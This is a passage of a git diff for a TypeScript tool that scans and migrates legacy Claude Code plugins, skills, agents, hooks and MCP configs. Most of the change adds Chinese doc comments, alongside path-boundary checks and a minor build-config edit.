目录下递归发现的全部文件。 */ const allFiles = listFilesRecursive(skillDir); + /** 排除主文件后保留的辅助文件。 */ const auxFiles: SkillAuxFile[] = []; for (const file of allFiles) { + /** 当前文件相对于旧 Skill 根目录的路径。 */ const relativePath = path.relative(skillDir, file); if (relativePath === 'SKILL.md') continue; const content = readFile(file); @@ -69,7 +87,14 @@ function scanSkillAuxFiles(skillDir: string): SkillAuxFile[] { return auxFiles; } +/** + * 扫描一级 Agent Markdown,并对无效 Frontmatter 保留完整正文。 + * + * @param agentsDir 旧 Agents 根目录。 + * @returns 成功读取的旧 Agent 列表。 + */ export function scanAgentsDir(agentsDir: string): Agent[] { + /** 当前目录累计发现的旧 Agents。 */ const agents: Agent[] = []; for (const file of listFiles(agentsDir, '\\.md$')) { const content = readFile(file); @@ -83,7 +108,7 @@ export function scanAgentsDir(agentsDir: string): Agent[] { sourcePath: file, }); } catch { - // Skip files with invalid frontmatter + // Frontmatter 无效时仍保留资源,交由迁移层报告降级。 agents.push({ fileName: path.basename(file, '.md'), frontmatter: {}, @@ -95,7 +120,14 @@ export function scanAgentsDir(agentsDir: string): Agent[] { return agents; } +/** + * 扫描一级 Command Markdown,延后到迁移阶段解析其 Frontmatter。 + * + * @param commandsDir 旧 Commands 根目录。 + * @returns 成功读取的完整 Command 文件。 + */ export function scanCommandsDir(commandsDir: string): Command[] { + /** 当前目录累计发现的旧 Commands。 */ const commands: Command[] = []; for (const file of listFiles(commandsDir, '\\.md$')) { const content = readFile(file); @@ -109,13 +141,23 @@ export function scanCommandsDir(commandsDir: string): Command[] { return commands; } +/** + * 容错读取旧 `.mcp.json`,并把名称映射展开为 Server 列表。 + * + * @param mcpPath 旧 MCP 配置路径。 + * @returns JSON 可解析时的宽松配置,否则返回 null。 + */ export function scanMCPJson(mcpPath: string): MCPConfig | null { + /** 旧 MCP JSON 原文。 */ const content = readFile(mcpPath); if (!content) return null; try { + /** 未经 Schema 验证的旧 JSON 对象。 */ const data = JSON.parse(content); + /** 旧格式中 Server 名称到配置的映射。 */ const mcpServers = data.mcpServers || {}; + /** 注入映射键作为 name 后的宽松 Server 列表。 */ const servers: MCPServer[] = Object.entries(mcpServers).map(([name, config]: [string, any]) => ({ name, command: config.command, @@ -131,7 +173,14 @@ export function scanMCPJson(mcpPath: string): MCPConfig | null { } } +/** + * 从旧 `.claude/settings.json` 中容错提取 Hooks 字段。 + * + * @param settingsPath 旧 Settings 路径。 + * @returns Hooks 映射,文件缺失或 JSON 无效时返回 null。 + */ export function scanSettingsHooks(settingsPath: string): Hooks | null { + /** 旧 Settings JSON 原文。 */ const content = readFile(settingsPath); if (!content) return null; @@ -143,7 +192,14 @@ export function scanSettingsHooks(settingsPath: string): Hooks | null { } } +/** + * 从旧 Plugin `hooks.json` 中容错提取 Hooks 字段。 + * + * @param hooksJsonPath 旧 Hooks JSON 路径。 + * @returns Hooks 映射,文件缺失或 JSON 无效时返回 null。 + */ export function scanHooksJson(hooksJsonPath: string): Hooks | null { + /** 旧 Hooks JSON 原文。 */ const content = readFile(hooksJsonPath); if (!content) return null; @@ -155,10 +211,20 @@ export function scanHooksJson(hooksJsonPath: string): Hooks | null { } } +/** + * 扫描根级 CLAUDE.md 和 `.claude/rules/*.md`。 + * + * Instructions 不会自动进入规范 Plugin,只用于未映射保留和报告。 + * + * @param rootDir 旧工程根目录。 + * @returns 所有可读旧 Instructions。 + */ function scanInstructions(rootDir: string): Instruction[] { + /** 当前工程累计发现的旧 Instructions。 */ const instructions: Instruction[] = []; for (const name of ['CLAUDE.md', '.claude/CLAUDE.md']) { + /** 当前 CLAUDE.md 候选文件绝对路径。 */ const filePath = path.join(rootDir, name); const content = readFile(filePath); if (content) { @@ -166,6 +232,7 @@ function scanInstructions(rootDir: string): Instruction[] { } } + /** `.claude/rules` 旧规则目录。 */ const rulesDir = path.join(rootDir, '.claude', 'rules'); for (const file of listFiles(rulesDir, '\\.md$')) { const content = readFile(file); diff --git a/packages/acplugin/src/migration/legacy/scanner/plugin.ts b/packages/acplugin/src/migration/legacy/scanner/plugin.ts index 9417a53..9e1a910 100644 --- a/packages/acplugin/src/migration/legacy/scanner/plugin.ts +++ b/packages/acplugin/src/migration/legacy/scanner/plugin.ts @@ -4,19 +4,38 @@ import { readFile, fileExists, listDirs, listFilesRecursive } from '../utils/fs. import { scanSkillsDir, scanAgentsDir, scanCommandsDir, scanHooksJson, scanMCPJson } from './claude.js'; import type { PluginMeta, PluginScanResult, MarketplaceMeta, MarketplaceScanResult, MCPConfig, PluginResourceFile } from '../types.js'; +/** + * 判断候选路径是否位于旧 Plugin 根目录内。 + * + * @param root 可信 Plugin 根目录。 + * @param candidate 待检查路径。 + * @returns 候选路径未逃逸时返回 true。 + */ function isInside(root: string, candidate: string): boolean { + /** 基于路径层级计算的相对关系。 */ const relation = path.relative(root, candidate); return relation === '' || (!path.isAbsolute(relation) && relation !== '..' && !relation.startsWith(`..${path.sep}`)); } +/** + * 在旧 Plugin 根目录内解析资源路径,并对已存在路径检查符号链接真实位置。 + * + * @param root 可信 Plugin 根目录。 + * @param value 旧清单声明的相对路径。 + * @param label 错误消息使用的字段名称。 + * @returns 留在 Plugin 边界内的绝对路径。 + */ function resolveInside(root: string, value: string, label: string): string { if (value.includes('\0') || path.isAbsolute(value)) throw new Error(`${label} must be a relative path inside the plugin.`); + /** 尚未解析符号链接的候选绝对路径。 */ const resolved = path.resolve(root, value); if (!isInside(path.resolve(root), resolved)) throw new Error(`${label} must stay inside the plugin.`); if (fs.existsSync(resolved)) { + /** Plugin 根目录解析符号链接后的真实路径。 */ const realRoot = fs.realpathSync(root); + /** 资源路径解析符号链接后的真实路径。 */ const realResolved = fs.realpathSync(resolved); if (!isInside(realRoot, realResolved)) throw new Error(`${label} resolves outside the plugin.`); @@ -26,28 +45,40 @@ function resolveInside(root: string, value: string, label: string): string { } /** - * Check if a directory contains a Claude Code plugin marketplace. + * 判断目录是否包含旧 Claude Code Marketplace 清单。 + * + * @param rootDir 待识别来源根目录。 + * @returns 存在 marketplace.json 时返回 true。 */ export function hasMarketplace(rootDir: string): boolean { return fileExists(path.join(rootDir, '.claude-plugin', 'marketplace.json')); } /** - * Check if a directory is a single plugin (has .claude-plugin/plugin.json). + * 判断目录是否是带 plugin.json 的单个旧 Plugin。 + * + * @param rootDir 待识别来源根目录。 + * @returns 存在 plugin.json 时返回 true。 */ export function isSinglePlugin(rootDir: string): boolean { return fileExists(path.join(rootDir, '.claude-plugin', 'plugin.json')); } /** - * Scan marketplace.json and return full marketplace metadata. + * 容错读取 Marketplace 清单和其中的 Plugin 条目。 + * + * @param rootDir Marketplace 仓库根目录。 + * @returns 可解析的宽松元数据,否则返回 null。 */ export function scanMarketplaceMeta(rootDir: string): MarketplaceMeta | null { + /** Marketplace 清单固定路径。 */ const marketplacePath = path.join(rootDir, '.claude-plugin', 'marketplace.json'); + /** Marketplace JSON 原文。 */ const content = readFile(marketplacePath); if (!content) return null; try { + /** 未经 Schema 验证的旧 Marketplace JSON。 */ const data = JSON.parse(content); return { name: data.name || 'marketplace', @@ -69,9 +100,13 @@ export function scanMarketplaceMeta(rootDir: string): MarketplaceMeta | null { } /** - * Scan marketplace.json and return plugin metadata with resolved paths. + * 把 Marketplace 条目投影为 PluginMeta 列表。 + * + * @param rootDir Marketplace 仓库根目录。 + * @returns 清单有效时的 Plugin 元数据,否则返回空数组。 */ export function scanMarketplace(rootDir: string): PluginMeta[] { + /** 容错读取的 Marketplace 清单。 */ const marketplace = scanMarketplaceMeta(rootDir); if (!marketplace) return []; @@ -85,51 +120,65 @@ export function scanMarketplace(rootDir: string): PluginMeta[] { } /** - * Resolve the actual directory path for a plugin from its marketplace source field. - * When pluginRoot is set (e.g. "plugins"), source is a short name (e.g. "my-plugin") - * and resolves to rootDir/plugins/my-plugin. + * 根据 Marketplace source 和可选 pluginRoot 解析实际 Plugin 目录。 + * + * @param rootDir Marketplace 仓库根目录。 + * @param source Plugin 条目的相对来源。 + * @param pluginRoot Marketplace 统一声明的可选 Plugin 根目录。 + * @returns 经过目录边界检查的 Plugin 绝对路径。 */ export function resolvePluginDir(rootDir: string, source: string, pluginRoot?: string): string { if (pluginRoot) return resolveInside(rootDir, path.join(pluginRoot, source), 'Marketplace plugin source'); - // source is like "./plugins/code-review" or "./skills" + // 未配置 pluginRoot 时 source 自身就是相对于仓库根目录的路径。 return resolveInside(rootDir, source, 'Marketplace plugin source'); } /** - * Scan a single plugin directory. - * Plugin structure has skills/agents/commands/hooks directly in root (not under .claude/). - * Respects custom resource paths from plugin.json when available. + * 扫描单个旧 Plugin,并遵守 plugin.json 的资源路径覆盖。 + * + * @param pluginDir 旧 Plugin 根目录。 + * @param meta Marketplace 已提供的可选元数据。 + * @returns 资源路径已经解析的完整 PluginScanResult。 */ export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResult { - // Read plugin.json for metadata if not provided + // Marketplace 未提供元数据时回退到 Plugin 自己的清单。 + /** 当前 Plugin 最终使用的旧元数据。 */ const resolvedMeta = meta || readPluginMeta(pluginDir); - // Resolve resource paths: use custom paths from meta if available, fallback to defaults + // 每种资源优先采用旧清单覆盖,否则使用 Plugin 根目录下的默认位置。 + /** 旧 Skills 实际扫描目录。 */ const skillsDir = resolvedMeta.skills ? resolveInside(pluginDir, resolvedMeta.skills, 'Plugin skills path') : path.join(pluginDir, 'skills'); + /** 旧 Agents 实际扫描目录。 */ const agentsDir = resolvedMeta.agents ? resolveInside(pluginDir, resolvedMeta.agents as string, 'Plugin agents path') : path.join(pluginDir, 'agents'); + /** 旧 Commands 可能是目录或文件数组的宽松路径字段。 */ const commandsPath = resolvedMeta.commands; + /** 当前 Scanner 能够处理的 Commands 目录。 */ const commandsDir = typeof commandsPath === 'string' && !commandsPath.endsWith('.md') ? resolveInside(pluginDir, commandsPath, 'Plugin commands path') : path.join(pluginDir, 'commands'); + /** 旧 Hooks 清单实际路径。 */ const hooksPath = resolvedMeta.hooks ? resolveInside(pluginDir, resolvedMeta.hooks, 'Plugin Hooks path') : path.join(pluginDir, 'hooks', 'hooks.json'); - // MCP: use custom path from meta, fallback to .mcp.json in plugin root + // MCP 优先采用清单覆盖,否则读取 Plugin 根级 `.mcp.json`。 + /** 旧 MCP 配置实际路径。 */ const mcpPath = resolvedMeta.mcpServers ? resolveInside(pluginDir, resolvedMeta.mcpServers, 'Plugin MCP path') : path.join(pluginDir, '.mcp.json'); + /** 容错解析后的旧 MCP 配置。 */ const mcpConfig = scanMCPJson(mcpPath); - // Scan plugin-level resource files referenced by MCP config (e.g. scripts/) + // 保存 MCP 命令显式引用的 scripts 等 Plugin 级文件,避免迁移时静默丢失。 + /** 旧 MCP 引用的未分类 Plugin 文件。 */ const pluginFiles = scanMCPReferencedFiles(pluginDir, mcpConfig); return { @@ -146,18 +195,24 @@ export function scanPlugin(pluginDir: string, meta?: PluginMeta): PluginScanResu } /** - * Read plugin.json metadata from a plugin directory. - * Extracts both metadata fields and resource path overrides. + * 容错读取旧 plugin.json 的元数据和资源路径覆盖。 + * + * @param pluginDir 旧 Plugin 根目录。 + * @returns 清单无效时至少包含目录回退名称的 PluginMeta。 */ export function readPluginMeta(pluginDir: string): PluginMeta { + /** 旧 Plugin 清单固定路径。 */ const pluginJsonPath = path.join(pluginDir, '.claude-plugin', 'plugin.json'); + /** 旧 Plugin JSON 原文。 */ const content = readFile(pluginJsonPath); if (!content) { return { name: path.basename(pluginDir) }; } try { + /** 未经 Schema 验证的旧 Plugin JSON。 */ const data = JSON.parse(content); + /** 逐步附加资源路径和展示元数据的宽松 PluginMeta。 */ const meta: PluginMeta = { name: data.name || path.basename(pluginDir), description: data.description, @@ -170,7 +225,7 @@ export function readPluginMeta(pluginDir: string): PluginMeta { keywords: data.keywords, }; - // Resource path overrides + // 保留旧清单声明的资源路径覆盖,稍后统一执行目录边界检查。 if (data.skills) meta.skills = data.skills; if (data.agents) meta.agents = data.agents; if (data.commands) meta.commands = data.commands; @@ -178,7 +233,7 @@ export function readPluginMeta(pluginDir: string): PluginMeta { if (data.mcpServers) meta.mcpServers = data.mcpServers; if (data.apps) meta.apps = data.apps; - // Marketplace display metadata + // Marketplace 展示信息只用于元数据保留,不改变 Core Component。 if (data.interface) meta.interface = data.interface; return meta; @@ -188,22 +243,26 @@ export function readPluginMeta(pluginDir: string): PluginMeta { } /** - * Extract file/directory paths referenced by ${CLAUDE_PLUGIN_ROOT} in MCP config, - * then scan those paths recursively and return as PluginResourceFile[]. + * 提取旧 MCP 中 `${CLAUDE_PLUGIN_ROOT}` 引用的一级路径并递归保留其文本文件。 + * + * @param pluginDir 旧 Plugin 根目录和路径信任边界。 + * @param mcp 容错读取的旧 MCP 配置。 + * @returns MCP 命令显式引用的 Plugin 级文件。 */ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): PluginResourceFile[] { if (!mcp) return []; + /** 从命令参数和环境值提取的一级目录集合。 */ const referencedDirs = new Set(); for (const server of mcp.servers) { - // Extract from args + // 从命令参数提取 Plugin 根变量后的第一级目录。 for (const arg of server.args || []) { const matches = arg.matchAll(/\$\{CLAUDE_PLUGIN_ROOT\}\/([^\s"]+)/g); for (const m of matches) { referencedDirs.add(m[1].split('/')[0]); } } - // Extract from env values + // 从环境值提取 Plugin 根变量后的第一级目录。 for (const val of Object.values(server.env || {})) { const matches = val.matchAll(/\$\{CLAUDE_PLUGIN_ROOT\}\/([^\s"]+)/g); for (const m of matches) { @@ -212,8 +271,10 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi } } + /** 引用目录中成功读取的全部文本文件。 */ const files: PluginResourceFile[] = []; for (const dirName of referencedDirs) { + /** 经过 Plugin 边界和真实路径检查的引用目录。 */ const dirPath = resolveInside(pluginDir, dirName, 'MCP referenced path'); if (!fileExists(dirPath)) continue; for (const file of listFilesRecursive(dirPath)) { @@ -231,31 +292,34 @@ function scanMCPReferencedFiles(pluginDir: string, mcp: MCPConfig | null): Plugi } /** - * Analyze what a marketplace source directory contains. + * Marketplace 来源目录的推断类型。 * - * Priority: - * 1. Has .claude-plugin/plugin.json → plugin root (most explicit) - * 2. Has skills/ or agents/ subdirectory → plugin root (standard layout) - * 3. Directory name matches "skills"/"agents"/"commands" → direct resource dir - * 4. Subdirectories contain SKILL.md → skills directory (content detection) - * 5. None of the above → unknown, treat as plugin root + * 推断优先级为显式 plugin.json、标准资源子目录、目录名、SKILL.md 内容识别,最后为 unknown。 */ type SourceTargetType = 'plugin-root' | 'skills-dir' | 'agents-dir' | 'commands-dir' | 'unknown'; +/** + * 推断 Marketplace source 指向完整 Plugin 还是单类资源目录。 + * + * @param dir 已完成仓库边界解析的来源目录。 + * @returns 后续选择扫描策略使用的来源类型。 + */ export function analyzeSourceTarget(dir: string): SourceTargetType { - // Has .claude-plugin/plugin.json → explicit plugin root + // plugin.json 是最明确的完整 Plugin 标志。 if (fileExists(path.join(dir, '.claude-plugin', 'plugin.json'))) return 'plugin-root'; - // Has skills/ or agents/ subdirectory → standard plugin root layout + // 标准资源子目录也表明来源是完整 Plugin 根目录。 if (fileExists(path.join(dir, 'skills')) || fileExists(path.join(dir, 'agents'))) return 'plugin-root'; - // Infer resource type from directory name + // 目录名可识别直接指向某类资源的 Marketplace source。 + /** 当前来源目录的小写名称。 */ const dirName = path.basename(dir).toLowerCase(); if (dirName === 'skills') return 'skills-dir'; if (dirName === 'agents') return 'agents-dir'; if (dirName === 'commands') return 'commands-dir'; - // Content detection: subdirectories contain SKILL.md → skills directory + // 子目录存在 SKILL.md 时把来源识别为直接 Skills 目录。 + /** 用于内容识别的一级子目录。 */ const subdirs = listDirs(dir); for (const sub of subdirs) { if (fileExists(path.join(sub, 'SKILL.md'))) return 'skills-dir'; @@ -265,22 +329,28 @@ export function analyzeSourceTarget(dir: string): SourceTargetType { } /** - * Scan all plugins in a marketplace repo. - * Analyzes each source target to determine if it's a plugin root or a direct - * resource directory, then routes to the appropriate scanning strategy. + * 扫描 Marketplace 中的全部可解析 Plugin,并按来源类型选择扫描策略。 + * + * @param rootDir Marketplace 仓库根目录。 + * @returns 至少包含一个实际资源的 Plugin 扫描结果。 */ export function scanAllPlugins(rootDir: string): PluginScanResult[] { + /** 容错读取的 Marketplace 清单。 */ const marketplace = scanMarketplaceMeta(rootDir); if (!marketplace) return []; + /** Marketplace 可选的统一 Plugin 根路径。 */ const pluginRoot = marketplace.metadata?.pluginRoot; + /** 成功扫描且包含资源的 Plugin。 */ const results: PluginScanResult[] = []; for (const entry of marketplace.plugins) { if (!entry.source) continue; + /** 当前条目完成仓库边界检查的来源目录。 */ const pluginDir = resolvePluginDir(rootDir, entry.source, pluginRoot); if (!fileExists(pluginDir)) continue; + /** 从 Marketplace 条目构造的 Plugin 元数据。 */ const meta: PluginMeta = { name: entry.name, description: entry.description, @@ -289,7 +359,9 @@ export function scanAllPlugins(rootDir: string): PluginScanResult[] { category: entry.category, }; + /** 当前来源目录推断出的扫描策略。 */ const targetType = analyzeSourceTarget(pluginDir); + /** 当前条目最终得到的统一 Plugin 扫描结果。 */ let result: PluginScanResult; switch (targetType) { @@ -311,11 +383,12 @@ export function scanAllPlugins(rootDir: string): PluginScanResult[] { skills: [], instructions: [], mcp: null, agents: [], hooks: null, pluginFiles: [], rootDir: pluginDir, }; break; - default: // 'plugin-root' | 'unknown' + default: // plugin-root 与 unknown 都按完整 Plugin 尝试扫描。 result = scanPlugin(pluginDir, meta); } - // Only include plugins that have actual resources + // 空条目不会生成没有意义的规范工程成员。 + /** 当前扫描结果中可迁移资源的数量。 */ const resourceCount = result.skills.length + result.agents.length + result.commands.length + (result.hooks ? Object.keys(result.hooks).length : 0); if (resourceCount > 0) { @@ -327,18 +400,26 @@ export function scanAllPlugins(rootDir: string): PluginScanResult[] { } /** - * Scan marketplace and return full MarketplaceScanResult with metadata. + * 同时返回 Marketplace 元数据和全部 Plugin 扫描结果。 + * + * @param rootDir Marketplace 仓库根目录。 + * @returns 完整扫描结果,清单无效时返回 null。 */ export function scanMarketplaceFull(rootDir: string): MarketplaceScanResult | null { + /** 容错读取的 Marketplace 清单。 */ const marketplace = scanMarketplaceMeta(rootDir); if (!marketplace) return null; + /** Marketplace 中全部非空 Plugin 扫描结果。 */ const plugins = scanAllPlugins(rootDir); return { marketplace, plugins }; } /** - * Count total resources in a PluginScanResult. + * 统计旧 Plugin 扫描结果中全部已识别资源。 + * + * @param scan 单个 Plugin 扫描结果。 + * @returns Skills、Agents、Commands、Hooks、Instructions 和 MCP Server 总数。 */ export function countResources(scan: PluginScanResult): number { return scan.skills.length + scan.agents.length diff --git a/packages/acplugin/src/migration/legacy/types.ts b/packages/acplugin/src/migration/legacy/types.ts index f29b421..5bd606d 100644 --- a/packages/acplugin/src/migration/legacy/types.ts +++ b/packages/acplugin/src/migration/legacy/types.ts @@ -1,4 +1,5 @@ -// Tolerant input types used only by the isolated Migration scanner. +// 以下宽松输入类型只服务于隔离的 Legacy Scanner,不属于 Core Plugin 公开契约。 +/** 旧 Skill Frontmatter 的宽松字段集合,未知或平台专有值由迁移层决定是否降级。 */ export interface SkillFrontmatter { 'name'?: string; 'description'?: string; @@ -19,41 +20,67 @@ export interface SkillFrontmatter { 'hooks'?: Record; } +/** 旧 Skill 目录中除 SKILL.md 外的辅助文本文件。 */ export interface SkillAuxFile { - relativePath: string; // relative to skill dir, e.g. "references/doc.md" + /** 相对于 Skill 目录的路径,例如 `references/doc.md`。 */ + relativePath: string; + /** 迁移时原样保留的文本内容。 */ content: string; } +/** Legacy Scanner 读取的完整旧 Skill。 */ export interface Skill { + /** 旧 Skill 一级目录名称。 */ dirName: string; + /** 容错解析后的旧 Frontmatter。 */ frontmatter: SkillFrontmatter; + /** 去除 Frontmatter 后的 Markdown 正文。 */ body: string; + /** 旧 SKILL.md 的绝对来源路径。 */ sourcePath: string; + /** 需要随 Skill 一起保留的辅助文件。 */ auxFiles: SkillAuxFile[]; } +/** 旧 CLAUDE.md 或 `.claude/rules` 内容;不属于规范可安装 Plugin 边界。 */ export interface Instruction { + /** 旧指令文件名。 */ fileName: string; + /** 原始 Markdown 内容。 */ content: string; + /** 旧文件绝对路径。 */ sourcePath: string; - isRule: boolean; // true if from .claude/rules/ + /** 是否来自 `.claude/rules/` 而非 CLAUDE.md。 */ + isRule: boolean; } +/** 旧 `.mcp.json` 中一个宽松 MCP Server 条目。 */ export interface MCPServer { + /** Server 在旧映射中的名称。 */ name: string; + /** stdio 模式使用的本地命令。 */ command?: string; + /** 本地命令参数;迁移报告中必须脱敏。 */ args?: string[]; + /** 本地进程环境;迁移报告中只保留变量名称。 */ env?: Record; - type?: string; // 'http' | 'stdio' + /** 旧传输标识,常见值为 http 或 stdio。 */ + type?: string; + /** 远程 MCP 端点。 */ url?: string; + /** 远程请求 Header;迁移报告中只保留名称。 */ headers?: Record; } +/** 旧 MCP 配置及其来源文件。 */ export interface MCPConfig { + /** 从旧映射展开并注入名称的 Server 列表。 */ servers: MCPServer[]; + /** `.mcp.json` 的绝对路径。 */ sourcePath: string; } +/** 旧 Agent Frontmatter 的宽松字段集合。 */ export interface AgentFrontmatter { name?: string; description?: string; @@ -73,34 +100,53 @@ export interface AgentFrontmatter { initialPrompt?: string; } +/** Legacy Scanner 读取的完整旧 Agent。 */ export interface Agent { + /** 不含 `.md` 后缀的旧 Agent 文件名。 */ fileName: string; + /** 容错解析后的旧 Frontmatter。 */ frontmatter: AgentFrontmatter; + /** 去除 Frontmatter 后的 Markdown 正文。 */ body: string; + /** 旧 Agent Markdown 的绝对路径。 */ sourcePath: string; } +/** Legacy Scanner 读取的旧 Command Markdown。 */ export interface Command { + /** 不含 `.md` 后缀的旧 Command 名称。 */ name: string; + /** 保留 Frontmatter 的完整旧 Markdown。 */ content: string; + /** 旧 Command 文件绝对路径。 */ sourcePath: string; } +/** 旧 Hook Matcher 中一个命令或 URL Handler。 */ export interface HookEntry { + /** 旧 Handler 类型。 */ type: string; + /** 本地命令 Handler。 */ command?: string; + /** 远程 URL Handler。 */ url?: string; } +/** 旧 Hook 事件下的一组可选 Matcher 与 Handler。 */ export interface HookMatcher { + /** 旧平台 Matcher 表达式。 */ matcher?: string; + /** 该 Matcher 触发的 Handler。 */ hooks: HookEntry[]; } +/** 旧 Hook 事件名到 Matcher 组的宽松映射。 */ export interface Hooks { + /** 未知事件仍被保留,供人工迁移。 */ [event: string]: HookMatcher[]; } +/** 旧 Marketplace Plugin 的展示层元数据。 */ export interface PluginInterface { displayName?: string; shortDescription?: string; @@ -118,7 +164,9 @@ export interface PluginInterface { screenshots?: string[]; } +/** 旧 `.claude-plugin/plugin.json` 的容错元数据和资源路径覆盖。 */ export interface PluginMeta { + /** 旧 Plugin 机器名称。 */ name: string; description?: string; version?: string; @@ -130,17 +178,18 @@ export interface PluginMeta { repository?: string; license?: string; keywords?: string[]; - // Resource path overrides (from plugin.json) + // 以下字段覆盖旧 plugin.json 中各资源类型的默认扫描位置。 skills?: string; agents?: string; commands?: string | string[]; hooks?: string; mcpServers?: string; apps?: string; - // Marketplace display metadata + // Marketplace 可选的展示层元数据。 interface?: PluginInterface; } +/** 旧 Marketplace 清单及其 Plugin 条目。 */ export interface MarketplaceMeta { name: string; version?: string; @@ -150,6 +199,7 @@ export interface MarketplaceMeta { plugins: MarketplacePluginEntry[]; } +/** Marketplace 中一个待解析来源的 Plugin 记录。 */ export interface MarketplacePluginEntry { name: string; source: string; @@ -158,27 +208,44 @@ export interface MarketplacePluginEntry { category?: string; } +/** 无法分类、需要在未映射目录中保留的 Plugin 级文本文件。 */ export interface PluginResourceFile { - relativePath: string; // relative to plugin root, e.g. "scripts/mcp-server/start.js" + /** 相对于 Plugin 根目录的路径,例如 `scripts/mcp-server/start.js`。 */ + relativePath: string; + /** 原样保留的文本内容。 */ content: string; } +/** 旧 Claude 工程扫描产生的统一宽松资源集合。 */ export interface ScanResult { + /** 扫描到的旧 Skills。 */ skills: Skill[]; + /** 扫描到但不会进入可安装 Plugin 的 Instructions。 */ instructions: Instruction[]; + /** 可选的旧 MCP 配置。 */ mcp: MCPConfig | null; + /** 扫描到的旧 Agents。 */ agents: Agent[]; + /** 扫描到的旧 Commands。 */ commands: Command[]; + /** 可选的旧 Hooks 配置。 */ hooks: Hooks | null; - pluginFiles: PluginResourceFile[]; // plugin-level resource files (scripts/, etc.) + /** 未分类的 Plugin 级资源文件。 */ + pluginFiles: PluginResourceFile[]; + /** 当前 ScanResult 对应的绝对来源根目录。 */ rootDir: string; } +/** 在通用 ScanResult 上附加旧 Plugin 元数据。 */ export interface PluginScanResult extends ScanResult { + /** 旧 Plugin 清单元数据。 */ meta: PluginMeta; } +/** Marketplace 扫描清单及其中成功解析的全部 Plugin。 */ export interface MarketplaceScanResult { + /** Marketplace 顶层元数据。 */ marketplace: MarketplaceMeta; + /** 各 Marketplace 条目对应的完整 Plugin 扫描结果。 */ plugins: PluginScanResult[]; } diff --git a/packages/acplugin/src/migration/legacy/utils/frontmatter.ts b/packages/acplugin/src/migration/legacy/utils/frontmatter.ts index a3ff685..03969fb 100644 --- a/packages/acplugin/src/migration/legacy/utils/frontmatter.ts +++ b/packages/acplugin/src/migration/legacy/utils/frontmatter.ts @@ -1,12 +1,27 @@ import matter from 'gray-matter'; +/** + * 使用 gray-matter 容错解析旧 Markdown Frontmatter。 + * + * @param content 包含可选 Frontmatter 的旧 Markdown。 + * @returns 调用方指定宽松类型的元数据和正文。 + */ export function parseFrontmatter(content: string): { data: T; body: string } { + /** gray-matter 的通用解析结果。 */ const result = matter(content); return { data: result.data as T, body: result.content }; } +/** + * 过滤空字段后把旧迁移元数据重新写为 Markdown Frontmatter。 + * + * @param data 待写入的宽松元数据。 + * @param body Markdown 正文。 + * @returns 没有有效字段时的原正文,或带 Frontmatter 的 Markdown。 + */ export function stringifyFrontmatter(data: Record, body: string): string { - // Filter out undefined/null values + // undefined/null 不应在迁移生成的 YAML 中形成含义不明确的字段。 + /** 只保留具有实际旧值的 Frontmatter。 */ const cleanData: Record = {}; for (const [key, value] of Object.entries(data)) { if (value !== undefined && value !== null) { diff --git a/packages/acplugin/src/migration/legacy/utils/fs.ts b/packages/acplugin/src/migration/legacy/utils/fs.ts index 60259e1..cf80fb5 100644 --- a/packages/acplugin/src/migration/legacy/utils/fs.ts +++ b/packages/acplugin/src/migration/legacy/utils/fs.ts @@ -1,15 +1,32 @@ import * as fs from 'fs'; import * as path from 'path'; +/** + * 递归创建 Legacy Scanner 或迁移写入所需目录。 + * + * @param dirPath 目标目录路径。 + */ export function ensureDir(dirPath: string): void { fs.mkdirSync(dirPath, { recursive: true }); } +/** + * 创建父目录后同步写入 UTF-8 文本。 + * + * @param filePath 目标文件路径。 + * @param content 文本内容。 + */ export function writeFile(filePath: string, content: string): void { ensureDir(path.dirname(filePath)); fs.writeFileSync(filePath, content, 'utf-8'); } +/** + * 容错同步读取旧文本文件。 + * + * @param filePath 旧资源路径。 + * @returns UTF-8 内容;不存在或不可读时返回 null。 + */ export function readFile(filePath: string): string | null { try { return fs.readFileSync(filePath, 'utf-8'); @@ -18,31 +35,61 @@ export function readFile(filePath: string): string | null { } } +/** + * 判断 Legacy Scanner 候选路径是否存在。 + * + * @param filePath 待检查路径。 + * @returns 路径存在时返回 true。 + */ export function fileExists(filePath: string): boolean { return fs.existsSync(filePath); } +/** + * 列出目录一级普通文件,并可按正则文本过滤名称。 + * + * @param dir 旧资源目录。 + * @param pattern 可选的文件名正则源码。 + * @returns 一级文件完整路径列表。 + */ export function listFiles(dir: string, pattern?: string): string[] { if (!fs.existsSync(dir)) return []; + /** 当前目录的一级目录项。 */ const entries = fs.readdirSync(dir, { withFileTypes: true, recursive: false }); return entries .filter(e => e.isFile() && (!pattern || e.name.match(new RegExp(pattern)))) .map(e => path.join(dir, e.name)); } +/** + * 列出目录一级真实子目录,不跟随符号链接。 + * + * @param dir 旧资源目录。 + * @returns 一级子目录完整路径列表。 + */ export function listDirs(dir: string): string[] { if (!fs.existsSync(dir)) return []; + /** 当前目录的一级目录项。 */ const entries = fs.readdirSync(dir, { withFileTypes: true }); return entries .filter(e => e.isDirectory()) .map(e => path.join(dir, e.name)); } +/** + * 递归列出目录中的普通文件,不跟随符号链接目录。 + * + * @param dir 旧资源根目录。 + * @returns 深度优先发现的完整文件路径列表。 + */ export function listFilesRecursive(dir: string): string[] { if (!fs.existsSync(dir)) return []; + /** 当前递归子树累计发现的普通文件。 */ const results: string[] = []; + /** 当前目录的一级目录项。 */ const entries = fs.readdirSync(dir, { withFileTypes: true }); for (const entry of entries) { + /** 当前目录项的完整路径。 */ const fullPath = path.join(dir, entry.name); if (entry.isFile()) { results.push(fullPath); diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts index e22085d..b3501f8 100644 --- a/packages/acplugin/tsdown.config.ts +++ b/packages/acplugin/tsdown.config.ts @@ -1,6 +1,7 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; +// 主包同时生成库入口与可执行 CLI;私有 Core/Compiler 会内联,Migration 通过动态导入保留独立 Chunk。 export default defineConfig({ entry: { index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), @@ -9,7 +10,7 @@ export default defineConfig({ format: ['esm'], platform: 'node', target: 'node20', - dts: true, + dts: { generator: 'oxc' }, clean: true, sourcemap: false, publint: true, diff --git a/packages/compiler-claude-code/src/index.ts b/packages/compiler-claude-code/src/index.ts index 92dcf82..2acad73 100644 --- a/packages/compiler-claude-code/src/index.ts +++ b/packages/compiler-claude-code/src/index.ts @@ -8,18 +8,29 @@ import { type CompilerOutput, } from '@acplugin/core'; +/** Claude Code Compiler 对应的稳定目标平台 ID。 */ 